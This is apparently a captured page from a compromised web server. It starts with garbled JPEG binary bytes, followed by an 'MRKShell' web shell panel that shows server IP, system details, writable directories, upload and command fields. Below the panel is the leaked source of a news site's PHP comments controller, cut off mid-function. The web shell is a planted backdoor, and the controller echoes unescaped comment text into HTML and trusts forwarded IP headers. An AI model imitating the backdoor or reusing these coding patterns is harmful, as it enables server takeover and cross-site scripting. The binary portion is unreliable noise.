JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 172.67.193.120  /  Your IP : 172.71.28.167
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/comunicacion/produccion/sitio/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/comunicacion/produccion/sitio/application/controllers/comentarios.php
<?php
class Comentarios extends MY_Controller
{
	function __construct()
	{
		parent::__construct();
		$this->load->library('varios_library');
	}
	
	public function listar($nota_id="", $tipo="", $sec_url="")
	{
		if (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest')
		{
			if ($nota_id != "" and is_numeric($nota_id))
			{
				$this->load->library('memcached_library');
				$tiempo_expiracion = 3600;
							
				$limit = 10;
				
				$tipo = ($tipo!="")?$tipo:32;
				
				$ref_com = site_url("comentarios/".$nota_id."/".$tipo."/".$sec_url);
				
				$fecha_nota = false;
				if ($tipo==32)
				{
					$info_nota = $this->memcached_library->get('nota_'.$nota_id);
					if ($info_nota)
					{
						list($n_dia,$n_mes,$n_año)=explode("-",$info_nota['fecha']);
						$fecha_nota = mktime(0,0,0, $n_mes,$n_dia,$n_año) + 5 * 24 * 60 * 60;
						$fecha_actual = mktime(0,0,0,date('m'),date('d'),date('Y')); 
					}
					else
						$fecha_nota = false;
				}
				
				
				
				$this->load->model("comentario","comentario",true);
				if ($fecha_nota and $fecha_nota >= $fecha_actual)
					$cometarios_total = $this->comentario->dameTotalMin($nota_id, $tipo);
				else
					$cometarios_total = $this->comentario->dameTotal($nota_id, $tipo);
				
				$cometarios_listado = $this->memcached_library->get('comentarios_lista_corta_'.$nota_id.'_'.$tipo);
				
				if (!$cometarios_listado)
				{
					if ($fecha_nota and $fecha_nota >= $fecha_actual)
						$cometarios_listado = $this->comentario->dameComentariosMin($nota_id, $tipo, $limit);
					else
						$cometarios_listado = $this->comentario->dameComentarios($nota_id, $tipo, $limit);
					$this->memcached_library->add('comentarios_lista_corta_'.$nota_id.'_'.$tipo, $cometarios_listado,$tiempo_expiracion);
				}
				
				$user = $this->session->userdata('usuario');
				if (isset($user['id']))
					$variables['usuario'] = $user;
				else
					$variables['usuario'] = false;
					
				$variables['comentarios'] = $cometarios_listado;
				$variables['comentarios_total'] = $cometarios_total;
				$variables['nota_id'] = $nota_id;
				$variables['tipo'] = $tipo;
				$variables['sec_url'] = $sec_url;
				$variables['largo'] = false;
				$variables['ref_com'] = $ref_com;
				
				if ($sec_url == "Twitter")
					$skin = "twitter/";
				else
					$skin = THEME_DEFAULT;
				$variables['vista'] = $skin;	
					
				$this->load->view($skin."comentarios_listado",$variables);
			}
		}
		else
		{
			//No es una peticion Ajax
			if ($nota_id != "" and is_numeric($nota_id))
			{
				header('location: '.site_url('comentarios/'.$nota_id.'/'.$tipo.'/'.$sec_url));
			}
			else
				header("location: ".site_url(""));
		}
	}
	
	public function listado_largo($objeto_id="", $tipo="", $sec_url="")
	{
		if (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest')
		{
			if ($objeto_id != "" and is_numeric($objeto_id))
			{
				$this->load->library('memcached_library');
				$tiempo_expiracion = 3600;
				$tipo = ($tipo!="")?$tipo:32;
				
				$fecha_nota = false;
				if ($tipo==32)
				{
					$info_nota = $this->memcached_library->get('nota_'.$objeto_id);
					if ($info_nota)
					{
						list($n_dia,$n_mes,$n_año)=explode("-",$info_nota['fecha']);
						$fecha_nota = mktime(0,0,0, $n_mes,$n_dia,$n_año) + 5 * 24 * 60 * 60;
						$fecha_actual = mktime(0,0,0,date('m'),date('d'),date('Y')); 
					}
					elseif ($info_post=$this->memcached_library->get('nota_blog_'.$objeto_id))
					{
						list($n_dia,$n_mes,$n_año)=explode("-",$info_post['fecha']);
						$fecha_nota = mktime(0,0,0, $n_mes,$n_dia,$n_año) + 5 * 24 * 60 * 60;
						$fecha_actual = mktime(0,0,0,date('m'),date('d'),date('Y'));
					}
					else
						$fecha_nota = false;
				}
				
				$cometarios_listado = $this->memcached_library->get('comentarios_lista_completo_'.$objeto_id.'_'.$tipo);
				if (!$cometarios_listado)
				{
					$this->load->model("comentario","comentario",true);
					if ($fecha_nota and $fecha_nota >= $fecha_actual)
						$cometarios_listado = $this->comentario->dameComentariosMin($objeto_id, $tipo, "");
					else
						$cometarios_listado = $this->comentario->dameComentarios($objeto_id, $tipo, "");
					$this->memcached_library->add('comentarios_lista_completo_'.$objeto_id.'_'.$tipo, $cometarios_listado,$tiempo_expiracion);
				}
				
				$user = $this->session->userdata('usuario');
				if ($user)
					$variables['usuario'] = true;
				else
					$variables['usuario'] = false;
					
				$variables['comentarios'] = $cometarios_listado;
				$variables['comentarios_total'] = 1;
				$variables['nota_id'] = $objeto_id;
				$variables['tipo'] = $tipo;
				$variables['sec_url'] = $sec_url;
				$variables['largo'] = true;
				$variables['ref_com'] = "";
				
				if ($sec_url == "Twitter")
					$skin = "twitter/";
				else
					$skin = THEME_DEFAULT;
				$variables['vista'] = $skin;
				
				$this->load->view($skin."comentarios_listado",$variables);
			}
		}
		else
		{
			//No es una peticion Ajax
			if ($objeto_id != "" and is_numeric($objeto_id))
			{
				header('location: '.site_url('comentarios/'.$objeto_id.'/'.$tipo.'/'.$sec_url));
			}
			else
				header("location: ".site_url(""));	
		}
	}
	
	public function cargar_formulario($nota_id)
	{
		$user = $this->session->userdata('usuario');
		$skin = THEME_DEFAULT;
		$nota = array("id" => $nota_id);
		
		if ($user)
		{
			$this->load->view($skin."inc_form_comentario",array('nota' => $nota));	
		}
		else
		{
			$this->load->view($skin."inc_form_login_comentario",array('nota_id' => $nota));
		}
	}
	
	public function responder($nota_id="", $com_padre_id="", $tipo=32)
	{
		$user = $this->session->userdata('usuario');
		$skin = THEME_DEFAULT;
		if ($nota_id!="" and is_numeric($nota_id))
		{
			$comentario_id = ($com_padre_id!="" and is_numeric($com_padre_id))?$com_padre_id:0;
			if ($user)
			{
				$this->load->view($skin."comentario_responder",array('nota_id' => $nota_id,'padre_id' => $comentario_id, 'tipo' => $tipo));	
			}
			else
			{
				$this->load->view($skin."comentario_login_responder",array('nota_id' => $nota_id,'padre_id' => $comentario_id));
			}
		}
		else
			print "Error";
	}
	
	public function comentar($objeto_id=0,$comentario_id=0)
	{
		$user = $this->session->userdata('usuario');
		if ($user)
		{
			//controlo que el usuario tenga estado habilitado, para poder comentar. Caso contrario borro su session y deslogueo para q no pueda comentar
			$this->load->library('memcached_library');
			$this->load->model("usuario","usuario",true);
			$usuario_estado = $this->memcached_library->get('estado_usuario_'.$user['id']);
			if (!$usuario_estado)
			{
				$usuario_estado = $this->usuario->dameEstadoUsuario($user['id']);
				$this->memcached_library->add('estado_usuario_'.$user['id'], $usuario_estado,86400);
			}

			$no_permitir = array(2,3,7,8);
			if(!in_array($usuario_estado,$no_permitir))
			{
				if ($objeto_id > 0 and is_numeric($objeto_id))
				{
					$comentario = $this->input->post("comentario");
					$tipo = $this->input->post("tipo");
					$codigo_seguridad = $this->input->post("codigo_seguridad");
					$objeto_usuario_id = $this->input->post("objeto_usuario_id");
					$edicion_id = $this->input->post("edicion_id");
					if (!$edicion_id)
						$edicion_id = 0;
									
					if (isset($user['perfil_id']))
					{
						if ($user['perfil_id']==6 or $user['perfil_id']==13 or $user['perfil_id']==0 or $user['perfil_id']=='')
							$estado = 3;
						else
							$estado = 4;
					}
					else
						$estado = 3;

					$estado = 3;
					if ($comentario != "")
					{
						if ($this->session->userdata('key') == $codigo_seguridad)
						{
							$tratar_comentario = explode(" ",$comentario);
							$referencias = "";
							$add_comen = "";
							if (count($tratar_comentario) > 0)
							{
								$this->load->model("palabra","palabra",true);
								$palabras_claves = $this->palabra->damePalabras();
								$palabras_claves = strtolower($palabras_claves);
								$palabras_claves = explode(",",$palabras_claves);
									
								$paso = 0;
								foreach ($tratar_comentario as $parte_texto)
								{
									$parte_texto = trim($parte_texto);
									if ($paso == 0)
									{
										$add_comen .= $parte_texto;
										$paso = 1;
									}
									else
									{
										$add_comen .= " ".$parte_texto;
									}
										
											
									if (in_array(strtolower($parte_texto), $palabras_claves))
									{
										$estado = 5;
									}
											
									$var=preg_match("/^#/",$parte_texto);	
									if($var > 0)
									{
										$referencia = (int) substr($parte_texto,1);
										if ($referencia > 0)
										{
											$referencias .= $referencia.",";
										}
										else
										{
											$referencias .= $referencia.",";
										}
									}

								}
							}
							$this->load->model("comentario","comentario",true);
							$tam_ref = strlen($referencias);
							$referencias = substr($referencias,0,($tam_ref-1));
							$datos['comentario'] = $add_comen;
							$datos['referencia'] = $referencias;
							$datos['usuario_id'] = $user['id'];
							$datos['objeto_id'] = $objeto_id;
							$datos['tipo'] = $tipo;
							$datos['estado'] = $estado;
							$datos['edicion_id'] = $edicion_id;
							if ($com_id=$this->comentario->insertar($datos))
							{
								/*Registro de auditoria*/
								$this->load->model("contador","contador",true);
								$datos_auditoria['usuario_id'] = $user['id'];
								if ($tipo == 32)
								{
									$datos_auditoria['accion'] = 5;
									$datos_auditoria['accion_desc'] = "Comento una nota";
								}
								elseif ($tipo == 30)
								{
									$datos_auditoria['accion'] = 7;
									$datos_auditoria['accion_desc'] = "Comento una foto";
								}
								elseif ($tipo == 2)
								{
									$datos_auditoria['accion'] = 25;
									$datos_auditoria['accion_desc'] = "Comento un video";
								}
								elseif ($tipo == 6)
								{
									$datos_auditoria['accion'] = 26;
									$datos_auditoria['accion_desc'] = "Comento una encuesta";
								}
								elseif ($tipo == 36)
								{
									$datos_auditoria['accion'] = 29;
									$datos_auditoria['accion_desc'] = "Comento un evento";
								}
								elseif ($tipo == 37)
								{
									$datos_auditoria['accion'] = 30;
									$datos_auditoria['accion_desc'] = "Comento una convocatoria";
								}
								elseif ($tipo == 40)
								{
									$datos_auditoria['accion'] = 32;
									$datos_auditoria['accion_desc'] = "Comento un concurso";
								}

								if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
									$datos_auditoria['ip_origen'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
								else
									$datos_auditoria['ip_origen'] = $_SERVER['REMOTE_ADDR'];
								
								$datos_auditoria['objeto_id'] = $objeto_id;
								$datos_auditoria['fecha'] = date('Y-m-d H:i:s');
								$this->contador->insertarHistorial($datos_auditoria);
								/*Fin de auditoria*/

								$ref_array = false;
								if ($referencias!="") 
								{
									$ref_array = explode(",", $referencias);
								}
								/*Limpiar en memcache*/
								$tiempo_expiracion = 3600;
								$this->load->model("comentario","comentario",true);
								
								$fecha_nota = false;
								if ($tipo==32)
								{
									$info_nota = $this->memcached_library->get('nota_'.$objeto_id);
									if ($info_nota)
									{
										list($n_dia,$n_mes,$n_año)=explode("-",$info_nota['fecha']);
										$fecha_nota = mktime(0,0,0, $n_mes,$n_dia,$n_año) + 5 * 24 * 60 * 60;
										$fecha_actual = mktime(0,0,0,date('m'),date('d'),date('Y')); 
									}
									else
										$fecha_nota = false;
								}
								
								if ($tipo == 32)
								{
									if ($fecha_nota and $fecha_nota >= $fecha_actual)
									{
										$cometarios_listado = $this->comentario->dameComentariosMin($objeto_id, 32, 10);
										$cometarios_total = $this->comentario->dameTotalMin($objeto_id, 32);
										$cometarios_pendientes = $this->comentario->dameTotalMin($objeto_id, 32, 1);
										$tiempo = "corto";
									}
									else
									{
										$cometarios_listado = $this->comentario->dameComentarios($objeto_id, 32, 10);
										$cometarios_total = $this->comentario->dameTotal($objeto_id, 32);
										$cometarios_pendientes = $this->comentario->dameTotal($objeto_id, 32, 1);
										$tiempo = "largo";
									}
									$com['listado'] = $cometarios_listado;
									$com['total'] = $cometarios_total;
									$com['pendientes'] = $cometarios_pendientes;
									$com['tiempo'] = $tiempo;
									$this->memcached_library->set('comentarios_lista_corta_'.$objeto_id.'_32', $com,$tiempo_expiracion);
									
									$com_nota_comp = $this->memcached_library->get('comentarios_lista_completo_'.$objeto_id.'_32');
									if ($com_nota_comp)
									{
										$this->memcached_library->delete('comentarios_lista_completo_'.$objeto_id.'_32');
										
									}
									
								}
								else
								{
									$com_foto = $this->memcached_library->get('comentarios_lista_corta_'.$objeto_id.'_'.$tipo);
									if ($com_foto)
									{
										$cometarios_foto_listado = $this->comentario->dameComentarios($objeto_id, $tipo, 10);
										$cometarios_foto_total = $this->comentario->dameTotal($objeto_id, $tipo);
										$cometarios_foto_pendientes = $this->comentario->dameTotal($objeto_id, $tipo, 1);
										$com['listado'] = $cometarios_foto_listado;
										$com['total'] = $cometarios_foto_total;
										$com['pendientes'] = $cometarios_foto_pendientes;
										$this->memcached_library->replace('comentarios_lista_corta_'.$objeto_id.'_'.$tipo, $com,$tiempo_expiracion);
									}
										
									$com_foto_comp = $this->memcached_library->get('comentarios_lista_completo_'.$objeto_id.'_'.$tipo);
									if ($com_foto_comp)
									{
										$this->memcached_library->delete('comentarios_lista_completo_'.$objeto_id.'_'.$tipo);
										
									}
								}
								
								echo 1;
							}
							else
								echo 0;
						}
						else
							echo 2;
					}
					else
						echo 4;
				}
				else
					echo 400;
			}
			else
			{
				$this->session->unset_userdata('usuario');
				echo 400;
			}
		}
		else
			echo 400;
	}
	
	public function _armar_comentarios($objeto_id="", $tipo="", $sec_url="")
	{
		$html ="";
		if ($objeto_id != "" and is_numeric($objeto_id))
		{
			$this->load->library('memcached_library');
			$tiempo_expiracion = 3600;
			$tipo = ($tipo!="")?$tipo:32;
			
			$fecha_nota = false;
			if ($tipo==32)
			{
				$info_nota = $this->memcached_library->get('nota_'.$objeto_id);
				if ($info_nota)
				{
					list($n_dia,$n_mes,$n_año)=explode("-",$info_nota['fecha']);
					$fecha_nota = mktime(0,0,0, $n_mes,$n_dia,$n_año) + 5 * 24 * 60 * 60;
					$fecha_actual = mktime(0,0,0,date('m'),date('d'),date('Y')); 
				}
				else
					$fecha_nota = false;
			}
			
			$cometarios_listado = $this->memcached_library->get('comentarios_lista_completo_'.$objeto_id.'_'.$tipo);
			
			if (!$cometarios_listado)
			{
				$this->load->model("comentario","comentario",true);
				if ($fecha_nota and $fecha_nota >= $fecha_actual)
					$cometarios_listado = $this->comentario->dameComentariosMin($objeto_id, $tipo, "");
				else
					$cometarios_listado = $this->comentario->dameComentarios($objeto_id, $tipo, "");
				$this->memcached_library->add('comentarios_lista_completo_'.$objeto_id.'_'.$tipo, $cometarios_listado,$tiempo_expiracion);
			}
			if(is_array($cometarios_listado))
			{
				
				foreach($cometarios_listado as $comentario)
				{
					if (isset($comentario['usuario_estado']) and $comentario['usuario_estado']==7)
						$comentario['usuario'] = "Usuario inactivo";
					
					$html .='<a name="com_'.$comentario['secuencia'].'" id="com_'.$comentario['secuencia'].'"></a><div class="comentario">
	<p>#'.$comentario['secuencia'].' <span class="autor">'.$comentario['usuario'].'</span> | <span class="fecha">'.$comentario['fecha'].'</span></p>
	<p class="comentario-detalle">';
					if ($comentario['estado']==1)
						$html .= '<i>Comentario con excesos eliminado por el moderador</i>';
					elseif ($comentario['estado']==2)
						$html .= $comentario['comentario'];
					elseif ($comentario['estado']==3)
						$html .= $comentario['comentario'];
					elseif ($comentario['estado']==4)
						$html .= $comentario['comentario'];
					elseif ($comentario['estado']==5)
						$html .= '<i>Comentario pendiente de moderaci&oacute;n</i>';
					elseif ($comentario['estado']==6)
						$html .= '<i>Comentario con excesos eliminado por el moderador</i>';
					elseif ($comentario['estado']==7)
						$html .= '<i>Comentario con excesos eliminado por el moderador</i>';
						
					$html .= '</p></div>';
				}
			}
		}
		
		return $html;
		
	}
	
	public function reportar_abuso()
	{
		$user = $this->session->userdata('usuario');
		if ($user)
		{
				$comentario_id = $this->input->post("comentario_id");
				$nota_id = $this->input->post("nota_id");
				$tipo = $this->input->post("tipo");
				if ($comentario_id > 0)
				{
					$this->load->model("comentario","comentario",true);
					if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
					$ip_origen = $_SERVER['HTTP_X_FORWARDED_FOR'];
					else
						$ip_origen = $_SERVER['REMOTE_ADDR'];
					$ip_origen = str_replace(".","",$ip_origen);
					if ($this->comentario->cehckIpVoto($comentario_id,$ip_origen,2))
					{
						if ($res=$this->comentario->reportarAbuso($comentario_id,$ip_origen,$user['id']))
						{
							if ($res >= 5)
							{
								$this->load->library('memcached_library');
								$tiempo_expiracion = 3600;
								$this->load->model("comentario","comentario",true);
								
								if ($tipo==32)
								{
									$info_nota = $this->memcached_library->get('nota_'.$nota_id);
									if ($info_nota)
									{
										list($n_dia,$n_mes,$n_año)=explode("-",$info_nota['fecha']);
										$fecha_nota = mktime(0,0,0, $n_mes,$n_dia,$n_año) + 5 * 24 * 60 * 60;
										$fecha_actual = mktime(0,0,0,date('m'),date('d'),date('Y')); 
									}
									else
										$fecha_nota = false;
									
									$nota_comentarios_cache = $this->memcached_library->get('comentarios_lista_corta_'.$nota_id.'_32');
									if ($nota_comentarios_cache)
									{
										if ($fecha_nota and $fecha_nota >= $fecha_actual)
										{
											$cometarios_listado = $this->comentario->dameComentariosMin($nota_id, 32, 10);
											$cometarios_total = $this->comentario->dameTotalMin($nota_id, 32);
											$cometarios_pendientes = $this->comentario->dameTotalMin($nota_id, 32, 1);
										}
										else
										{
											$cometarios_listado = $this->comentario->dameComentarios($nota_id, 32, 10);
											$cometarios_total = $this->comentario->dameTotal($nota_id, 32);
											$cometarios_pendientes = $this->comentario->dameTotal($nota_id, 32, 1);
										}
										$com['listado'] = $cometarios_listado;
										$com['total'] = $cometarios_total;
										$com['pendientes'] = $cometarios_pendientes;
										$this->memcached_library->replace('comentarios_lista_corta_'.$nota_id.'_32', $com,$tiempo_expiracion);
									}

									$com_nota_comp = $this->memcached_library->get('comentarios_lista_completo_'.$nota_id.'_32');
									if ($com_nota_comp)
									{
										$this->memcached_library->delete('comentarios_lista_completo_'.$nota_id.'_32');
										
									}
								}	
								else
								{	
									$com_foto = $this->memcached_library->get('comentarios_lista_corta_'.$nota_id.'_'.$tipo);
									if ($com_foto)
									{
										$cometarios_otros_listado = $this->comentario->dameComentarios($nota_id, $tipo, 10);
										$cometarios_otros_total = $this->comentario->dameTotal($nota_id, $tipo);
										$cometarios_otros_pendientes = $this->comentario->dameTotal($nota_id, $tipo, 1);
										$com['listado'] = $cometarios_otros_listado;
										$com['total'] = $cometarios_otros_total;
										$com['pendientes'] = $cometarios_otros_pendientes;
										$this->memcached_library->replace('comentarios_lista_corta_'.$nota_id.'_'.$tipo, $com,$tiempo_expiracion);
									}
										
									$com_foto_comp = $this->memcached_library->get('comentarios_lista_completo_'.$nota_id.'_'.$tipo);
									if ($com_foto_comp)
										$this->memcached_library->delete('comentarios_lista_completo_'.$nota_id.'_'.$tipo);
								}
							}
							echo $res;
						}
						else
							echo "error_db";
					}
					else
						echo "error_rep";
				}
				else
					echo "error_db";
		}
		else
			echo "error_login";
	}
	
	public function votar()
	{
		$comentario_id = $this->input->post("comentario_id");
		$voto_tipo = $this->input->post("voto_tipo");
		$objeto_id = $this->input->post("objeto_id");
		$tipo = $this->input->post("tipo");
		
		$this->load->model("comentario","comentario",true);
		if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
			$ip_origen = $_SERVER['HTTP_X_FORWARDED_FOR'];
		else 
			$ip_origen = $_SERVER['REMOTE_ADDR'];
		
		$ip_origen = trim(end(explode(',',$ip_origen)));

		$ip_origen = str_replace(".","",$ip_origen);

		$ip_origen = (int) $ip_origen;

		if ($ip_origen =="")
			$ip_origen = 100;

		if ($this->comentario->cehckIpVoto($comentario_id,$ip_origen,1))
		{
			if ($res=$this->comentario->votar($comentario_id,$ip_origen,$voto_tipo))
			{
				$this->load->library('memcached_library');
				$tiempo_expiracion = 3600;
				$this->load->model("comentario","comentario",true);
				
				if ($tipo==32)
				{
					$info_nota = $this->memcached_library->get('nota_'.$objeto_id);
					if ($info_nota)
					{
						list($n_dia,$n_mes,$n_año)=explode("-",$info_nota['fecha_edicion']);
						$fecha_nota = mktime(0,0,0, $n_mes,$n_dia,$n_año) + 5 * 24 * 60 * 60;
						$fecha_actual = mktime(0,0,0,date('m'),date('d'),date('Y')); 
					}
					else
						$fecha_nota = false;

					$com_nota = $this->memcached_library->get('comentarios_lista_corta_'.$objeto_id.'_32');
					if ($com_nota)
					{
						if ($fecha_nota and $fecha_nota >= $fecha_actual)
						{
							$cometarios_listado = $this->comentario->dameComentariosMin($objeto_id, 32, 10);
							$cometarios_total = $this->comentario->dameTotalMin($objeto_id, 32);
							$cometarios_pendientes = 0;
							$tiempo = "corto";
						}
						else
						{
							$cometarios_listado = $this->comentario->dameComentarios($objeto_id, 32, 10);
							$cometarios_total = $this->comentario->dameTotal($objeto_id, 32);
							$cometarios_pendientes = 0;
							$tiempo = "largo";
						}
						$com['listado'] = $cometarios_listado;
						$com['total'] = $cometarios_total;
						$com['pendientes'] = $cometarios_pendientes;
						$com['tiempo'] = $tiempo;
						$this->memcached_library->replace('comentarios_lista_corta_'.$objeto_id.'_32', $com,$tiempo_expiracion);
					}
									
					$com_nota_comp = $this->memcached_library->get('comentarios_lista_completo_'.$objeto_id.'_32');
					if ($com_nota_comp)
					{
						$this->memcached_library->delete('comentarios_lista_completo_'.$objeto_id.'_32');
						
					}
				}			
				else
				{	
					$com_foto = $this->memcached_library->get('comentarios_lista_corta_'.$objeto_id.'_'.$tipo);
					if ($com_foto)
					{
						$cometarios_otros_listado = $this->comentario->dameComentarios($objeto_id, $tipo, 10);
						$cometarios_otros_total = $this->comentario->dameTotal($objeto_id, $tipo);
						$cometarios_otros_pendientes = $this->comentario->dameTotal($objeto_id, $tipo, 1);
						$com['listado'] = $cometarios_otros_listado;
						$com['total'] = $cometarios_otros_total;
						$com['pendientes'] = $cometarios_otros_pendientes;
						$this->memcached_library->replace('comentarios_lista_corta_'.$objeto_id.'_'.$tipo, $com,$tiempo_expiracion);
					}
						
					$com_foto_comp = $this->memcached_library->get('comentarios_lista_completo_'.$objeto_id.'_'.$tipo);
					if ($com_foto_comp)
						$this->memcached_library->delete('comentarios_lista_completo_'.$objeto_id.'_'.$tipo);
					
				}

				echo $res;		
			}
			else
				echo -1;
		}
		else
			echo 0;
	}
	
	public function mostrar_reglamento()
	{
		$skin = THEME_DEFAULT;
		$this->load->view($skin."inc_reglamento_comentarios");
	}
	
	public function leer_resp()
	{
		$this->load->library("comunidad_library");
		$nota_id = $this->input->post("nota_id");
		$secuencia = $this->input->post("secuencia");
		$tipo = $this->input->post("tipo");
		if ($nota_id !="" and $secuencia!="")
		{
			$this->load->library('memcached_library');
			$comentario_resp = $this->memcached_library->get('comentario_'.$nota_id.'_'.$tipo.'_'.$secuencia);
			if (!$comentario_resp)
			{
				$this->load->model("comentario","comentario",true);
				$comentario_resp = $this->comentario->dameRespuesta($nota_id, $secuencia, $tipo);
				$this->memcached_library->add('comentario_'.$nota_id.'_'.$tipo.'_'.$secuencia, $comentario_resp, 600);
			}
			if ($comentario_resp)
			{
				$img_estado = (isset($comentario_resp['imagen_estado']))?$comentario_resp['imagen_estado']:1;
				
				/*Obtengo avatar de usuario*/
				$avatar_def = $this->comunidad_library->armarAvatarLector($comentario_resp['id'],0,1,$img_estado);
				/*Fin de avatar de usuario*/

				if (isset($comentario_resp['usuario_estado']) and $comentario_resp['usuario_estado']==7)
				{
					$avatar_def = site_url("img/2011/avatar_default-back.jpg");
					$comentario_resp['usuario'] = "Usuario inactivo";
				}
				
				switch ($comentario_resp['estado'])
				{
					case 1:
							$cuerpo = '<img class="ico-status" width="62" height="62" alt="Eliminado por excesos" src="'.site_url("img/2011/ico-mod-elim.png").'" align="right" /> Comentario con excesos eliminado por el moderador';
							break;
					case 2:
							$cuerpo = $comentario_resp['comentario'];
							break;
					case 3:
							$cuerpo = $comentario_resp['comentario'];
							break;
					case 4:
							$cuerpo = $comentario_resp['comentario'];
							break;
					case 5:
							$cuerpo = '<img class="ico-status" width="62" height="62" alt="Esperando moderacion" src="'.site_url("img/2011/ico-mod-block.png").'" align="right"/> Comentario pendiente de moderaci&oacute;n.';
							break;
					case 6:
							$cuerpo = '<img class="ico-status" width="62" height="62" alt="Eliminado por excesos" src="'.site_url("img/2011/ico-mod-elim.png").'" align="right" /> Comentario repetido eliminado por el moderador.';
							break;
					case 7:
